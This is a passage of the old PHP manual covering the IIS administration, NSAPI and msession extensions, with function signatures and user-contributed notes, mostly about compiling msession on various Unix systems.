Now you can parse the output of 'my_CGI' in return_array.
logang at deltatee dot com 26-Apr-2001 07:21
If you want to pass all post and get values to the cgi script you can use this code:

<?php
$QSTRING = $QUERY_STRING;
while (list ($header, $value) = each ($HTTP_POST_VARS))
{
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

virtual($script.'?'.$QSTRING);
?>

It takes all the values of $HTTP_POST_VARS and appends them in the proper format to the values you get in $QUERY_STRING
david at audiogalaxy dot com 28-Nov-1999 10:44
Virtual returns the HTTP entity header after the requested file, when it's the first output to the page.

The work-around to prevent seeing the header is, of course, to output something (such as echo " "; ) before calling virtual.
getallheaders
IIS
Apache Functions


IIS Administration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • IIS Functions
    • iis_add_server — Creates a new virtual web server
    • iis_get_dir_security — Gets Directory Security
    • iis_get_script_map — Gets script mapping on a virtual directory for a specific extension
    • iis_get_server_by_comment — Return the instance number associated with the Comment
    • iis_get_server_by_path — Return the instance number associated with the Path
    • iis_get_server_rights — Gets server rights
    • iis_get_service_state — Returns the state for the service defined by ServiceId
    • iis_remove_server — Removes the virtual web server indicated by ServerInstance
    • iis_set_app_settings — Creates application scope for a virtual directory
    • iis_set_dir_security — Sets Directory Security
    • iis_set_script_map — Sets script mapping on a virtual directory
    • iis_set_server_rights — Sets server rights
    • iis_start_server — Starts the virtual web server
    • iis_start_service — Starts the service defined by ServiceId
    • iis_stop_server — Stops the virtual web server
    • iis_stop_service — Stops the service defined by ServiceId

User Contributed Notes

There are no user contributed notes for this page.
virtual
Introduction
Server Specific Extensions


Introduction

This extension is available for Win32 only. It provides functions to administrate Microsoft Internet Information Server (IIS). The extension includes function to create web sites and virtual directories as well as configuring security and script mapping.

User Contributed Notes

There are no user contributed notes for this page.
IIS
Installing/Configuring
IIS


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
IIS


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/iisfunc.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

IIS_READ (integer)
IIS_WRITE (integer)
IIS_EXECUTE (integer)
IIS_SCRIPT (integer)
IIS_ANONYMOUS (integer)
IIS_BASIC (integer)
IIS_NTLM (integer)
IIS_STARTING (integer)
IIS_STOPPED (integer)
IIS_PAUSED (integer)
IIS_RUNNING (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
IIS Functions
IIS


IIS Functions

Table of Contents

  • iis_add_server — Creates a new virtual web server
  • iis_get_dir_security — Gets Directory Security
  • iis_get_script_map — Gets script mapping on a virtual directory for a specific extension
  • iis_get_server_by_comment — Return the instance number associated with the Comment
  • iis_get_server_by_path — Return the instance number associated with the Path
  • iis_get_server_rights — Gets server rights
  • iis_get_service_state — Returns the state for the service defined by ServiceId
  • iis_remove_server — Removes the virtual web server indicated by ServerInstance
  • iis_set_app_settings — Creates application scope for a virtual directory
  • iis_set_dir_security — Sets Directory Security
  • iis_set_script_map — Sets script mapping on a virtual directory
  • iis_set_server_rights — Sets server rights
  • iis_start_server — Starts the virtual web server
  • iis_start_service — Starts the service defined by ServiceId
  • iis_stop_server — Stops the virtual web server
  • iis_stop_service — Stops the service defined by ServiceId

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
iis_add_server
IIS


Creates a new virtual web server

IIS Functions
iis_get_dir_security
IIS Functions
PHP Manual

iis_add_server

(PECL iisfunc SVN)

iis_add_server — Creates a new virtual web server

Description

int iis_add_server ( string $path , string $comment , string $server_ip , int $port , string $host_name , int $rights , int $start_server )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Henning Buss 04-Mar-2007 12:27
I have testet some options for the rights.
I think you have to set a Number only with 1 or 0 to activate the options:

<write><only_scripts><script_and_executeables><unknow><read>

For example:
01001
Allows the Read and Script-Onlys Access to the Website.
vesa at flash-db dot com 18-Mar-2005 06:01
Remember that only MS 2000 Server/MS 2003 Server can add more than one "server" to IIS 6.0 (IIS < 6 and XP/2k PRO wont support that)

HTH,
Vesa
IIS Functions
iis_get_dir_security
IIS Functions


Gets Directory Security

iis_add_server
iis_get_script_map
IIS Functions
PHP Manual

iis_get_dir_security

(PECL iisfunc SVN)

iis_get_dir_security — Gets Directory Security

Description

int iis_get_dir_security ( int $server_instance , string $virtual_path )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_add_server
iis_get_script_map
IIS Functions


Gets script mapping on a virtual directory for a specific extension

iis_get_dir_security
iis_get_server_by_comment
IIS Functions
PHP Manual

iis_get_script_map

(PECL iisfunc SVN)

iis_get_script_map — Gets script mapping on a virtual directory for a specific extension

Description

string iis_get_script_map ( int $server_instance , string $virtual_path , string $script_extension )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_get_dir_security
iis_get_server_by_comment
IIS Functions


Return the instance number associated with the Comment

iis_get_script_map
iis_get_server_by_path
IIS Functions
PHP Manual

iis_get_server_by_comment

(PECL iisfunc SVN)

iis_get_server_by_comment — Return the instance number associated with the Comment

Description

int iis_get_server_by_comment ( string $comment )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_get_script_map
iis_get_server_by_path
IIS Functions


Return the instance number associated with the Path

iis_get_server_by_comment
iis_get_server_rights
IIS Functions
PHP Manual

iis_get_server_by_path

(PECL iisfunc SVN)

iis_get_server_by_path — Return the instance number associated with the Path

Description

int iis_get_server_by_path ( string $path )

Each virtual server in IIS is associated with an instance number. iis_get_server_by_path() finds the instance number from the actual path to the root directory.

Parameters

path

The path to the root directory

Return Values

Returns the server instance number.

User Contributed Notes

There are no user contributed notes for this page.
iis_get_server_by_comment
iis_get_server_rights
IIS Functions


Gets server rights

iis_get_server_by_path
iis_get_service_state
IIS Functions
PHP Manual

iis_get_server_rights

(PECL iisfunc SVN)

iis_get_server_rights — Gets server rights

Description

int iis_get_server_rights ( int $server_instance , string $virtual_path )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_get_server_by_path
iis_get_service_state
IIS Functions


Returns the state for the service defined by ServiceId

iis_get_server_rights
iis_remove_server
IIS Functions
PHP Manual

iis_get_service_state

(PECL iisfunc SVN)

iis_get_service_state — Returns the state for the service defined by ServiceId

Description

int iis_get_service_state ( string $service_id )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_get_server_rights
iis_remove_server
IIS Functions


Removes the virtual web server indicated by ServerInstance

iis_get_service_state
iis_set_app_settings
IIS Functions
PHP Manual

iis_remove_server

(PECL iisfunc SVN)

iis_remove_server — Removes the virtual web server indicated by ServerInstance

Description

int iis_remove_server ( int $server_instance )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_get_service_state
iis_set_app_settings
IIS Functions


Creates application scope for a virtual directory

iis_remove_server
iis_set_dir_security
IIS Functions
PHP Manual

iis_set_app_settings

(PECL iisfunc SVN)

iis_set_app_settings — Creates application scope for a virtual directory

Description

int iis_set_app_settings ( int $server_instance , string $virtual_path , string $application_scope )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_remove_server
iis_set_dir_security
IIS Functions


Sets Directory Security

iis_set_app_settings
iis_set_script_map
IIS Functions
PHP Manual

iis_set_dir_security

(PECL iisfunc SVN)

iis_set_dir_security — Sets Directory Security

Description

int iis_set_dir_security ( int $server_instance , string $virtual_path , int $directory_flags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_set_app_settings
iis_set_script_map
IIS Functions


Sets script mapping on a virtual directory

iis_set_dir_security
iis_set_server_rights
IIS Functions
PHP Manual

iis_set_script_map

(PECL iisfunc SVN)

iis_set_script_map — Sets script mapping on a virtual directory

Description

int iis_set_script_map ( int $server_instance , string $virtual_path , string $script_extension , string $engine_path , int $allow_scripting )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_set_dir_security
iis_set_server_rights
IIS Functions


Sets server rights

iis_set_script_map
iis_start_server
IIS Functions
PHP Manual

iis_set_server_rights

(PECL iisfunc SVN)

iis_set_server_rights — Sets server rights

Description

int iis_set_server_rights ( int $server_instance , string $virtual_path , int $directory_flags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_set_script_map
iis_start_server
IIS Functions


Starts the virtual web server

iis_set_server_rights
iis_start_service
IIS Functions
PHP Manual

iis_start_server

(PECL iisfunc SVN)

iis_start_server — Starts the virtual web server

Description

int iis_start_server ( int $server_instance )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_set_server_rights
iis_start_service
IIS Functions


Starts the service defined by ServiceId

iis_start_server
iis_stop_server
IIS Functions
PHP Manual

iis_start_service

(PECL iisfunc SVN)

iis_start_service — Starts the service defined by ServiceId

Description

int iis_start_service ( string $service_id )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_start_server
iis_stop_server
IIS Functions


Stops the virtual web server

iis_start_service
iis_stop_service
IIS Functions
PHP Manual

iis_stop_server

(PECL iisfunc SVN)

iis_stop_server — Stops the virtual web server

Description

int iis_stop_server ( int $server_instance )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_start_service
iis_stop_service
IIS Functions


Stops the service defined by ServiceId

iis_stop_server
NSAPI
IIS Functions
PHP Manual

iis_stop_service

(PECL iisfunc SVN)

iis_stop_service — Stops the service defined by ServiceId

Description

int iis_stop_service ( string $service_id )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
iis_stop_server
NSAPI
IIS Functions


NSAPI

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • NSAPI Functions
    • nsapi_request_headers — Fetch all HTTP request headers
    • nsapi_response_headers — Fetch all HTTP response headers
    • nsapi_virtual — Perform an NSAPI sub-request

User Contributed Notes

There are no user contributed notes for this page.
iis_stop_service
Introduction
Server Specific Extensions


Introduction

These functions are only available when running PHP as a NSAPI module in Netscape/iPlanet/Sun webservers.

User Contributed Notes

There are no user contributed notes for this page.
NSAPI
Installing/Configuring
NSAPI


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
NSAPI


Installation

For PHP installation on Netscape/iPlanet/Sun webservers see the NSAPI section (UNIX, Windows) in the installation chapter.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of the NSAPI PHP module is affected by settings in php.ini. Configuration settings from php.ini may be overridden by additional parameters to the php4_execute call in obj.conf

NSAPI configuration options
Name | Default | Changeable | Changelog
nsapi.read_timeout | "60" | PHP_INI_ALL | Available since PHP 4.3.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

nsapi.read_timeout integer

Sets the time in seconds the plugin is waiting for POST data from the client.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
NSAPI Functions
NSAPI


NSAPI Functions

See Also

NSAPI implements a subset of the functions from the Apache module for maximum compatibility.

Apache functions implemented by NSAPI
Apache function (only as alias) | NSAPI function | Description
apache_request_headers() | nsapi_request_headers() | Fetch all HTTP request headers
apache_response_headers() | nsapi_response_headers() | Fetch all HTTP response headers
getallheaders() | nsapi_request_headers() | Fetch all HTTP request headers
virtual() | nsapi_virtual() | Make NSAPI sub-request

Table of Contents

  • nsapi_request_headers — Fetch all HTTP request headers
  • nsapi_response_headers — Fetch all HTTP response headers
  • nsapi_virtual — Perform an NSAPI sub-request

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
nsapi_request_headers
NSAPI


Fetch all HTTP request headers

NSAPI Functions
nsapi_response_headers
NSAPI Functions
PHP Manual

nsapi_request_headers

(PHP 4 >= 4.3.3, PHP 5)

nsapi_request_headers — Fetch all HTTP request headers

Description

array nsapi_request_headers ( void )

nsapi_request_headers() gets all the HTTP headers in the current request. This is only supported when PHP runs as a NSAPI module.

Note:

Prior to PHP 4.3.3, getallheaders() was only available for the Apache servers. After PHP 4.3.3, getallheaders() is an alias for nsapi_request_headers() if you use the NSAPI module.

Note:

You can also get at the value of the common CGI variables by reading them from the $_SERVER superglobal, which works whether or not you are using PHP as a NSAPI module.

Return Values

Returns an associative array with all the HTTP headers.

Examples

Example #1 nsapi_request_headers() example

<?php
$headers = nsapi_request_headers();

foreach ($headers as $header => $value) {
  echo "$header: $value <br />\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
NSAPI Functions
nsapi_response_headers
NSAPI Functions


Fetch all HTTP response headers

nsapi_request_headers
nsapi_virtual
NSAPI Functions
PHP Manual

nsapi_response_headers

(PHP 4 >= 4.3.3, PHP 5)

nsapi_response_headers — Fetch all HTTP response headers

Description

array nsapi_response_headers ( void )

Gets all the NSAPI response headers.

Return Values

Returns an associative array with all the NSAPI response headers.

See Also

  • nsapi_request_headers() - Fetch all HTTP request headers
  • headers_sent() - Checks if or where headers have been sent

User Contributed Notes

There are no user contributed notes for this page.
nsapi_request_headers
nsapi_virtual
NSAPI Functions


Perform an NSAPI sub-request

nsapi_response_headers
Session Extensions
NSAPI Functions
PHP Manual

nsapi_virtual

(PHP 4 >= 4.3.3, PHP 5)

nsapi_virtual — Perform an NSAPI sub-request

Description

bool nsapi_virtual ( string $uri )

nsapi_virtual() is an NSAPI-specific function which is equivalent to <!--#include virtual...--> in SSI (.shtml files). It does an NSAPI sub-request. It is useful for including CGI scripts or .shtml files, or anything else that you'd parse through webserver.

To run the sub-request, all buffers are terminated and flushed to the browser, pending headers are sent too.

You cannot make recursive requests with this function to other PHP scripts. If you want to include PHP scripts, use include() or require().

Note:

This function depends on a undocumented feature of the Netscape/iPlanet/Sun webservers. Use phpinfo() to determine if it is available. In the Unix environment it should always work, in Windows it depends on the name of a ns-httpdXX.dll file.

Read the note about subrequests in the NSAPI section (UNIX, Windows) if you experience this problem.

Parameters

uri

The URI of the script.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
nsapi_response_headers
Session Extensions
NSAPI Functions


Session Extensions

  • Msession — Mohawk Software Session Handler Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Msession Functions
  • Sessions — Session Handling
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Session Upload Progress
    • Sessions and security
    • Session Functions
    • SessionHandler — The SessionHandler class
  • Session PgSQL — PostgreSQL Session Save Handler
    • Introduction
    • Installing/Configuring
    • Table definitions
    • Predefined Constants
    • Session PgSQL Functions

User Contributed Notes

There are no user contributed notes for this page.
nsapi_virtual
Msession
Function Reference


Mohawk Software Session Handler Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Msession Functions
    • msession_connect — Connect to msession server
    • msession_count — Get session count
    • msession_create — Create a session
    • msession_destroy — Destroy a session
    • msession_disconnect — Close connection to msession server
    • msession_find — Find all sessions with name and value
    • msession_get_array — Get array of msession variables
    • msession_get_data — Get data session unstructured data
    • msession_get — Get value from session
    • msession_inc — Increment value in session
    • msession_list — List all sessions
    • msession_listvar — List sessions with variable
    • msession_lock — Lock a session
    • msession_plugin — Call an escape function within the msession personality plugin
    • msession_randstr — Get random string
    • msession_set_array — Set msession variables from an array
    • msession_set_data — Set data session unstructured data
    • msession_set — Set value in session
    • msession_timeout — Set/get session timeout
    • msession_uniq — Get unique id
    • msession_unlock — Unlock a session

User Contributed Notes

There are no user contributed notes for this page.
Session Extensions
Introduction
Session Extensions


Introduction

msession is an interface to a high speed session daemon which can run either locally or remotely. It is designed to provide consistent session management for a PHP web farm. More Information about msession and the session server software itself can be found at » http://www.mohawksoft.org/?q=node/8.

Note: This extension is not available on Windows platforms.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.3.

User Contributed Notes

There are no user contributed notes for this page.
Msession
Installing/Configuring
Msession


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Msession


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/msession.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.3

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Msession Functions
Msession


Msession Functions

Table of Contents

  • msession_connect — Connect to msession server
  • msession_count — Get session count
  • msession_create — Create a session
  • msession_destroy — Destroy a session
  • msession_disconnect — Close connection to msession server
  • msession_find — Find all sessions with name and value
  • msession_get_array — Get array of msession variables
  • msession_get_data — Get data session unstructured data
  • msession_get — Get value from session
  • msession_inc — Increment value in session
  • msession_list — List all sessions
  • msession_listvar — List sessions with variable
  • msession_lock — Lock a session
  • msession_plugin — Call an escape function within the msession personality plugin
  • msession_randstr — Get random string
  • msession_set_array — Set msession variables from an array
  • msession_set_data — Set data session unstructured data
  • msession_set — Set value in session
  • msession_timeout — Set/get session timeout
  • msession_uniq — Get unique id
  • msession_unlock — Unlock a session

User Contributed Notes

sunny at crazytoon dot com 23-May-2007 06:09
I went through and installed mcache and took notes about problems I ran in to.  I couldn't get it to work in 64 bit CentOS but it works in 32 bit CentOS.  If anybody got it working in 64 bit or wants to see what I have done, please feel free to visit my blog (i didn't want to spam post all the things here).   Here is the blog:  http://crazytoon.com/mcache
martijn at pocos dot nl 16-Aug-2005 04:42
Trying to build PHP 5.0.4. with msession support (shared), I found that the build process still fails to link the proper libraries. I think the proper way to fix this, is to change ext/msession/config.m4 and rebuild configure.

Find the line that reads:

PHP_ADD_LIBRARY_WITH_PATH(phoenix, "$PHOENIX_DIR/lib", PHOENIX_LIB)

And replace it with these two lines:

PHP_ADD_LIBRARY_WITH_PATH(phoenix, "$PHOENIX_DIR/lib", MSESSION_SHARED_LIBADD)
PHP_ADD_LIBRARY_WITH_PATH(stdc++, "", MSESSION_SHARED_LIBADD)

Next find the line that reads:

PHP_SUBST(PHOENIX_LIB)

and replace it with:

PHP_SUBST(MSESSION_SHARED_LIBADD)

Now rebuild "configure":

$ rm configure
$ ./buildconf --force

Now ./configure && make && make install as usual.
markw at mohawksoft dot com 13-Aug-2005 05:10
Hi all, I'm the author of the msession daemon. I haven't done any actual work on it in a couple years. Suddenly, I find myself needing it again. It's current state is almost certainly VERY different than you are used too, and it as been renamed to mcache (internally to Mohawk Software). I may ramp up work on it again.

In the course of the 5 years that msession being made available, I've gotten a lot of calls for support, and one bug fix. (And not a single donation BTW)

A decisions needs to be made if "mcache" will continue to be available.  I don't mind people using it, I don't mind that I've made no money on it (that's not why I wrote it), but the desperate "my server farm is down" calls because a working system died when the admin deployed changes with out adaquite testing are a huge distraction. In good conscience, I can't let the poor guy twist in the wind, but sometimes it takes hours to fix. Hours away from work that pays my bills or my family. Apache 2.0 with multiple threads really caused a lot of problems.

So, I guess what I'm saying is this: msession will become mcache (publically) some time in the future. On modern hardware it can handle about 5,000 ~10,000 session transactions a second (depending on the amount of data in the session, and the conectivity to the nodes, etc.) I may keep it on my server, but I can't support it for you without being paid up front. If you use it: learn it, know it, live it, and contribute if you can.
08-Aug-2005 05:29
I could not compile it on FreeBSD. On a 4.x msession complained about missing pthread library. On a 5.x, it was not happy with malloc.h. Ok, I could dig into that problem and find the problem. But I was not motivated...

I found that there is 1 100% PHP Solution for distributed session handling:
http://pear.php.net/package/HTTP_SessionServer/
sgaffga at electronicpartner dot de 14-Jul-2005 02:18
We wanted to use the default-PHP4-RPMs delivered with RedHat and SuSE, and use msession, too. But there is no package containing the precompiled msession-support for PHP. So I did this on my own and I found it very hard, so I'd like to provide the solution here.

The files php-msession-030117.tar.gz, phoenix-R1_2_030117E.tar.gz and msession-030130.tar.gz are
available at www.mohawksoft.com.

## Compiling the phoenix lib
tar xzf phoenix-R1_2_030117E.tar.gz
tar xzf msession-030130.tar.gz
cd phoenix/src/
cp Linux.mak config.mak
vi unixgcc.mak
(Now change "-I$(POSTGRES_HOME)/include" to "-I /usr/include/pgsql" which is needed to compile using SuSE 9.3)
make
mkdir ../lib
make install

## Compiling msession server
cd ..
cd msession
make
mkdir ../bin
make install

## Now untar PHP-Source and replace the files in ext/msession/ with the ones supplied by php-msession-030117.tar.gz
## Configure PHP and include --with-msession=shared,/path/to/phoenix-src-used-above
## Please note: Compile will fail if you use --disable-session or --disable-all
## For example use:
./configure --prefix=/usr/local --with-config-file-path=/etc --disable-all --enable-session --with-msession=shared,/home/sga/compile/phoenix

make

## Now there is a msession.so in modules/, but this one does NOT work yet.
## I had to repeat the libtool-command with "--mode=link gcc" and add some libs:
## before the last parameter I added:
## -lstdc++ -lodbc -L/home/sga/compile/phoenix/lib/ -lphoenix
## This was the command I used (you will have to use other paths of course)
/bin/sh /home/sga/compile/php-4.3.10/libtool --silent --preserve-dup-deps --mode=link gcc -DPHP_ATOM_INC -I/home/sga/compile/php-4.3.10/include -I/home/sga/compile/php-4.3.10/main -I/home/sga/compile/php-4.3.10 -I/home/sga/compile/php-4.3.10/Zend -I/home/sga/compile/php-4.3.10/ext/xml/expat  -I/home/sga/compile/php-4.3.10/TSRM  -g -O2   -o ext/msession/msession.la -export-dynamic -avoid-version -prefer-pic -module -rpath /home/sga/compile/php-4.3.10/modules  -lstdc++ -lodbc -L/home/sga/compile/phoenix/lib/ -lphoenix ext/msession/msession.lo

## Now I could do:

cp ext/msession/.libs/msession.so /usr/local/lib/php/extensions/no-debug-non-zts-20020429

## (Please note the different location I copy the module from)
## Adjust your php.ini to contain "extension=msession.so" and
## "extension_path =/usr/local/lib/php/extensions/no-debug-non-zts-20020429"

rcapache2 restart

## Now it worked fine! I hope this helps someone.
r_linux at yahoo dot com 13-Apr-2005 08:33
To compile with --with-msession, you have to make a change in Makefile to add -lstdc++. For me the LDFLAGS=-lstdc++ before ./configure don't work.

That modification works for me:
sed -e 's/^\(EXTRA_LIBS\)\(.*\)$/\1\2 -lstdc++/g' Makefile -i

I think that have some better way to do it.
temp6453 at hotmail dot com 10-Mar-2005 01:21
A company I work for uses msession for a large cluster of servers.  I've set it up rather regularly and never had an issue at all with it not working.

Msession is stable.  It does something simple- it maintains an efficient database of key->value (session->data) pairs and searches them well in a nice threaded manner.  There is no need for constant revision.  It is _NOT_ a large application.  It's security is simply IP-block-based, so such concerns are also minimal.

To the user that says it should be removed- if you are having problems installing it, seek assistance doing so.  The product itself is just right.
Weird Silence 01-Feb-2005 05:19
We've created a distributed session handler that uses memcached - Check it out at http://weirdsilence.net/software/memsession/ - It's free and open source!
It uses Danga.com's memcached: http://danga.com/memcached/ - Very cool stuff!
aderyngmailcom 06-Nov-2004 03:52
Compiling msession can be quite a pain. Believe me.

Here's how I did it on a gentoo-box with gcc version 3.3.4 (20040623 (Gentoo Linux 3.3.4-r1, ssp-3.3.2-2, pie-8.7.6)):

1. Download http://www.mohawksoft.com/devel/phoenix-R1_2_030117E.tar.gz and http://www.mohawksoft.com/devel/msession-030130.tar.gz
2. Extract them in /usr/local (That path is hardcoded, so you don't really have a choice since there isn't a configure script)
3. You should now the directory /usr/local/phoenix containing msession and src.
4. Enter the src-directory and rename Linux.mak to config.mak (or the corresponding file, if you're using another system. Don't use unixgcc.mak directly - it won't work.).
5. Type make
6. Type make install. You might have to create /usr/local/phoenix/lib yourself and then type make install again.
7. Change into the msession-directory and type make.

For both msession and phoenix you may have to edit the makefiles manually and comment out the postgreesql and odbc-code (if you don't have postgree installed).

8. Recompile php with --with-msession.

Voil�!
mathijs at experimental dot net 13-Sep-2002 09:02
msession 1.0 (020603) is using /dev/urandom.
a dot whyte at cqu dot edu dot au 09-May-2002 05:53
You can fix the no random data in FreeBSD's /dev/random by using rndcontrol (as root) and setting the interupts which it looks at for entropy.

Something like  rndcontrol -s 14 -s 15  should help it out.
carsten at sarum dot dk 06-May-2002 03:12
If you have trouble connecting to the msessiond from a php-script, this might be the solution for you.

msessiond (and your php-extension) both use the libphoenix.a which, among other files, is built from a file called "mutils.cpp".

Open this file, and find a line saying:

FILE *f = fopen("/dev/random", "rb");

(I believe it is line 506. There's only this one.)

On my FreeBSD 4.5 Tiny, /dev/random seldom spits out data, so the program hangs on the next line (an fread() call). Use /dev/urandom instead, it always sends data.

Change the line above to:

FILE *f = fopen("/dev/urandom", "rb");

Then rebuild phoenix-lib, msessiond, and PHP. You might want to do a "make clean" to be sure the change is noted.

- Carsten
Predefined Constants
msession_connect
Msession


Connect to msession server

Msession Functions
msession_count
Msession Functions
PHP Manual

msession_connect

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_connect — Connect to msession server

Description

bool msession_connect ( string $host , string $port )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
Msession Functions
msession_count
Msession Functions


Get session count

msession_connect
msession_create
Msession Functions
PHP Manual

msession_count

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_count — Get session count

Description

int msession_count ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_connect
msession_create
Msession Functions


Create a session

msession_count
msession_destroy
Msession Functions
PHP Manual

msession_create

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_create — Create a session

Description

bool msession_create ( string $session [, string $classname [, string $data ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_count
msession_destroy
Msession Functions


Destroy a session

msession_create
msession_disconnect
Msession Functions
PHP Manual

msession_destroy

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_destroy — Destroy a session

Description

bool msession_destroy ( string $name )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_create
msession_disconnect
Msession Functions


Close connection to msession server

msession_destroy
msession_find
Msession Functions
PHP Manual

msession_disconnect

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_disconnect — Close connection to msession server

Description

void msession_disconnect ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_destroy
msession_find
Msession Functions


Find all sessions with name and value

msession_disconnect
msession_get_array
Msession Functions
PHP Manual

msession_find

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_find — Find all sessions with name and value

Description

array msession_find ( string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_disconnect
msession_get_array
Msession Functions


Get array of msession variables

msession_find
msession_get_data
Msession Functions
PHP Manual

msession_get_array

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_get_array — Get array of msession variables

Description

array msession_get_array ( string $session )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_find
msession_get_data
Msession Functions


Get data session unstructured data

msession_get_array
msession_get
Msession Functions
PHP Manual

msession_get_data

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_get_data — Get data session unstructured data

Description

string msession_get_data ( string $session )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_get_array
msession_get
Msession Functions


Get value from session

msession_get_data
msession_inc
Msession Functions
PHP Manual

msession_get

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_get — Get value from session

Description

string msession_get ( string $session , string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_get_data
msession_inc
Msession Functions


Increment value in session

msession_get
msession_list
Msession Functions
PHP Manual

msession_inc

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_inc — Increment value in session

Description

string msession_inc ( string $session , string $name )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_get
msession_list
Msession Functions


List all sessions

msession_inc
msession_listvar
Msession Functions
PHP Manual

msession_list

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_list — List all sessions

Description

array msession_list ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_inc
msession_listvar
Msession Functions


List sessions with variable

msession_list
msession_lock
Msession Functions
PHP Manual

msession_listvar

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_listvar — List sessions with variable

Description

array msession_listvar ( string $name )

Used for searching sessions with common attributes.

Parameters

name

The name being searched.

Return Values

Returns an associative array of value/session for all sessions with a variable named name.

User Contributed Notes

There are no user contributed notes for this page.
msession_list
msession_lock
Msession Functions


Lock a session

msession_listvar
msession_plugin
Msession Functions
PHP Manual

msession_lock

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_lock — Lock a session

Description

int msession_lock ( string $name )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_listvar
msession_plugin
